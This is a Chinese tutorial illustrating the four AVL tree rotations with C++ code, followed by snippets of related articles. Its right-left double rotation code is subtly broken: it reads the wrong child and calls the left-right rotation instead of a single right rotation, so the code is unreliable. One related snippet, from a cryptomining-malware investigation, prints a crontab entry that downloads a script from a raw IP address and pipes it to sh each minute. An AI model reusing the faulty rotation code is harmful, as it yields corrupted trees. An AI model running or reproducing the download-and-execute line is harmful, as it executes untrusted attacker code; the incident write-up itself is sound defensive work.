[AVL数四种旋转详细图解]

news2024/11/23 15:33:30

文章目录

  • 一.右单旋
  • 二. 左单旋
  • 三. 右左双旋
  • 四. 左右双旋

一.右单旋

新节点插入较高左子树的左侧—左左:右单旋
在这里插入图片描述

由于在较高左子树的左侧插入一个节点后,左边插入导致30的平衡因子更新为-1,而60平衡因子更新为-2,此时不平衡,引发旋转,右旋解决问题:看下图

在这里插入图片描述
将60进行一次右单旋后,30和60的平衡因子都更新为了0,此时AVL树重新平衡,更新结束。

代码实现:

void RotateR(Node* parent)
		{
			Node* subL = parent->_left;
			Node* subLR = subL->_right;
			parent->_left = subLR;
			if(subLR)
				subLR->_parent = parent;
			subL->_right = parent;
			Node* ppnode = parent->_parent;
			parent->_parent = subL;
			if (parent == _root)
			{
				_root = subL;
				subL->_parent = nullptr;
			}
			else
			{
				if (parent == ppnode->_left)
				{
					ppnode->_left = subL;
				}
				else
				{
					ppnode->_right = subL;
				}
				subL->_parent = ppnode;
			}
			parent->_bf = 0;
			subL->_bf = 0;
		}

二. 左单旋

新节点插入较高右子树的右侧—右右:左单旋
在这里插入图片描述

由于在较高右子树的右侧插入一个节点后,右边插入导致30的平衡因子更新为1,而60平衡因子更新为2,此时不平衡,引发旋转,左旋解决问题:看下图

在这里插入图片描述

将60进行一次左单旋后,30和60的平衡因子都更新为了0,此时AVL树重新平衡,更新结束。
代码实现:

void RotateL(Node* parent)
		{
			Node* subR = parent->_right;
			Node* subRL = subR->_left;
			parent->_right = subRL;
			if (subRL)
				subRL->_parent = parent;
			subR->_left = parent;
			Node* ppnode = parent->_parent;
			parent->_parent = subR;
			if (_root == parent)
			{
				_root = subR;
				subR->_parent = nullptr;
			}
			else
			{
				if (parent == ppnode->_left)
				{
					ppnode->_left = subR;
				}
				else
				{
					ppnode->_right = subR;
				}
				subR->_parent = ppnode;
			}
			parent->_bf = 0;
			subR->_bf = 0;
		}

三. 右左双旋

新节点插入较高右子树的左侧—右左:先右单旋再左单旋
此时进行右左双旋分为三种情况:
情况一:h==0
插入新结点后,60自己就是新增节点
在这里插入图片描述
此时先将60进行右旋
在这里插入图片描述
再将30进行左旋
在这里插入图片描述
情况二:h>0,在c插入(这里以h2为例)
同上理旋转:
在这里插入图片描述
先90进行右旋
在这里插入图片描述
最后30进行左旋
在这里插入图片描述
情况三:h>0,在b插入(这里以h
2为例)
在这里插入图片描述
先将90进行右旋
在这里插入图片描述
再将30进行左旋
在这里插入图片描述

右左双旋代码实现:

void RotateRL(Node* parent)
		{
			Node* subR = parent->_right;
			Node* subRL = parent->_left;
			int bf = subRL->_bf;
			RotateLR(subR);
			RotateL(parent);
			subRL->_bf = 0;
			if (bf == -1)
			{
				subR->_bf = 1;
				parent->_bf = 0;
			}
			else if (bf == 1)
			{
				subR->_bf = 0;
				parent->_bf = -1;
			}
			else if (bf == 0)
			{
				subR->_bf = 0;
				parent->_bf = 0;
			}
			else
			{
				assert(false);
			}
		}

四. 左右双旋

新节点插入较高左子树的右侧—左右:先左单旋再右单旋
此时进行左右双旋分为三种情况:
情况一:h==0
插入新结点后,60自己就是新增节点
在这里插入图片描述
30进行左旋
在这里插入图片描述
90进行右旋
在这里插入图片描述
情况二:h>0,在c插入(这里以h2为例)
在这里插入图片描述
30进行左旋
在这里插入图片描述
90进行右旋
在这里插入图片描述
情况三:h>0,在b插入(这里以h
2为例)
在这里插入图片描述
30进行左旋
在这里插入图片描述
90进行右旋
在这里插入图片描述
左右双旋代码实现:

void RotateLR(Node* parent)
		{
			Node* subL = parent->_left;
			Node* subLR = subL->_right;
			int bf = subLR->_bf;
			RotateL(subL);
			RotateR(parent);
			subLR->_bf = 0;
			if (bf == 0)
			{
				subL->_bf = 0;
				parent->_bf = 0;
			}
			else if (bf == 1)
			{
				subL->_bf = -1;
				parent->_bf = 0;
			}
			else if (bf == -1)
			{
				subL->_bf = 0;
				parent->_bf = 1;
			}
			else
			{
				assert(false);
			}
		}

**总结:1.对于单旋,旋转之后就平衡了,结束 2.对于双旋,旋转之后也平衡了,但此时要更新平衡因子,怎么更新取决于更新前代码中subL的平衡因子,
分三种情况,具体看代码实现。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1794434.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Elastic Search 8.14:更快且更具成本效益的向量搜索,使用 retrievers 和重新排序提升相关性,RAG 和开发工具

作者:来自 Elastic Yaru Lin, Ranjana Devaji 我们致力于突破搜索开发的界限,并专注于为搜索构建者提供强大的工具。通过我们的最新更新,Elastic 对于处理以向量表示的大量数据的客户来说变得更加强大。这些增强功能保证了更快的速度、降低的…

【精选案例】Sellfy | 电子商务平台怎么利用客户裂变系统实现用户增长?

Sellfy是一种基于云的电子商务解决方案,特别为数字内容创作者所设计。 一、主要目标用户: Sellfy主要针对的是包括作家、插画家、设计师、音乐家和电影制作人在内的数字内容创作者,他们可以在Sellfy上在线销售自己的产品。 二、平台特点&a…

KIBANA的安装教程(超详细)

前言 Kibana 是一个开源的基于浏览器的可视化工具,主要用于分析和展示存储在 Elasticsearch 索引中的数据。它允许用户通过各种图表、地图和其他可视化形式来探索和理解大量数据。Kibana 与 Elasticsearch 和 Logstash 紧密集成,共同构成了所谓的 ELK 堆…

全面守护你的健康ZL-0891A小动物多参数监护仪

简单介绍: 12.1英寸彩色TFT显示,分辨率800X600,采用数字血氧DSP算法,低灌注,小动物多参数监护仪具有优良的抗运动性能;动物用血压算法,支持测量各种动物类型,特有的中英文语音报警;支持USB数据导出,可以在…

为什么越来越多的人做期货?

期,指的的是规定的时间,货,很简单,就是货物商品的意思。期货就很容易理解了,就是在规定的时间交割商品。在实际的操作中,大部分的人并不想去交割商品,只是想买卖合约,赚取中间的差价…

常见的激活函数(sigmoid、tanh、ReLU、Leaky ReLU、P-ReLU、R-ReLU、ELU、Swish、Mish、Maxout、softmax)

文章目录 前言求导四则运算法则基本初等函数的导数sigmoid函数sigmoid函数适用场景sigmoid函数图像sigmoid函数的导数公式sigmoid函数的导数图像sigmoid函数的缺点解决办法 tanh函数tanh函数公式推导过程tanh函数图像tanh函数的导数公式tanh函数的导数图像 t a n h ( x ) 1 2…

docker 下载镜像发现超时,加速加速方法

报错原因有可能旧的不能用了!!!换下面的!!! cat /etc/docker/daemon.json "registry-mirrors": ["https://bhu1x6ya.mirror.aliyuncs.com"] 编辑完成后执行以下命令重启docker即可&a…

一次挖矿病毒的排查过程

目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…

Softing工业助力微软解锁工业数据,推动AI技术在工业领域的发展

一 概览 Softing作为全球先进工业通信解决方案供应商之一,与微软合作共同推出了众多工业边缘产品,以实现工业应用中OT和IT的连接。这些产品可在基于微软Azure云平台的IIoT解决方案中轻松集成和运行,并为AI解锁工业数据,还可通过A…

企业微信hook接口协议,ipad协议http,一个用户多个标签

一个用户多个标签 参数名必选类型说明uuid是String每个实例的唯一标识,根据uuid操作具体企业微信 请求示例 {"uuid": "168885xxx599424","userid":0,//用户id"labelid_list":[ //标签id数组0] } 返回示例 {"data…

YOLOv8_obb训练流程-原理解析[旋转目标检测理论篇]

在旋转目标检测网络中,换了个顺序,先把训练流程捋一遍,然后再取捋一下测试的流程。由下图的YOLOv8l_obb网络结构图可以看到相对于目标检测网络,旋转目标检测网络只是在Head层不相同,在每个尺度特征层中增加了Angle分支(浅蓝色),通过两个卷积组和一个Conv卷积得到得到通…

人大金仓数据库报sys_user表字段不存在的问题

目录 一.问题: 二.原因 三.解决方法: 一.问题: 公司的一个项目从oracle切换到人大金仓之后,突然报了一个sys_user里面的字段不存在。 二.原因 检查了很多次确信sys_user表没问题,查了相应的文档之后发现原来人大金…

Linux下的Git应用及配置

1、卸载 2、安装 3、创建并初始化 4、配置 (附加删除语句) 5、查看(tree .git/) 6、增加和提交 7、打印日志 8、验证已操作工作

qmt量化交易策略小白学习笔记第17期【qmt编程之获取对应周期的北向南向数据】

qmt编程之获取对应周期的北向南向数据 qmt更加详细的教程方法,会持续慢慢梳理。 也可找寻博主的历史文章,搜索关键词查看解决方案 ! 感谢关注,咨询免费开通量化回测与获取实盘权限,欢迎和博主联系! 获取…

Ubuntu系统的k8s常见的错误和解决的问题

K8s配置的时候出现的常见问题 Q1: master节点kubectl get nodes 出现的错误 或者 解决方法&#xff1a; cat <<EOF >> /root/.bashrc export KUBECONFIG/etc/kubernetes/admin.conf EOFsource /root/.bashrc重新执行 kubectl get nodes 记得需要查看一下自己的…

三丰云免费虚拟主机及免费云服务器评测

三丰云是一家专业的云服务提供商&#xff0c;其免费虚拟主机和免费云服务器备受好评。三丰云提供稳定可靠的服务&#xff0c;完全免费的虚拟主机和云服务器让用户可以轻松搭建自己的网站或应用。自从开始使用三丰云的免费虚拟主机和免费云服务器后&#xff0c;我的网站访问速度…

使用Python发送企业微信消息

大家好&#xff0c;在本文中&#xff0c;我们将探讨如何使用 Python 发送企业微信消息。将详细说明如何通过 Python 脚本实现消息的发送。无论是希望自动化某些任务&#xff0c;还是想要快速地向团队发送实时通知&#xff0c;本文都将为您提供一站式的解决方案。 企业微信提供了…

Vue随笔记

1 Idea里面使用Vue Idea里面要安装Vue插件 File - New - Project - JavaScript - Vue.js 然后出现&#xff1a; "C:\Program Files\nodejs\node.exe" "C:\Program Files\nodejs\node_modules\npm\bin\npx-cli.js" --ignore-existing --package vue/cli…

msconfig修改引导导致电脑无法进入系统 和 启动蓝屏问题

目录 解决方法遇到的问题开机蓝屏进入【指定UFEI固件设置】进入bios启动系统选择界面&#xff08;忘了拍照&#xff09; 解决方法 找到一个移动U盘&#xff08;最好大于10G&#xff09;格式化&#xff1b;找一个好的电脑安装WEPE软件&#xff08;wepe安装链接&#xff09;&…

【再探】设计模式—备忘录模式与解释器模式

备忘录模式是用于保存对象在某个时刻的状态&#xff0c;来实现撤销操作。而解释器模式则是将文本按照定义的文法规则解析成对应的命令。 1 备忘录模式 需求&#xff1a;保存对象在某个时刻的状态&#xff0c;后面可以对该对象实行撤销操作。 1.1 备忘录模式介绍 提供一种状…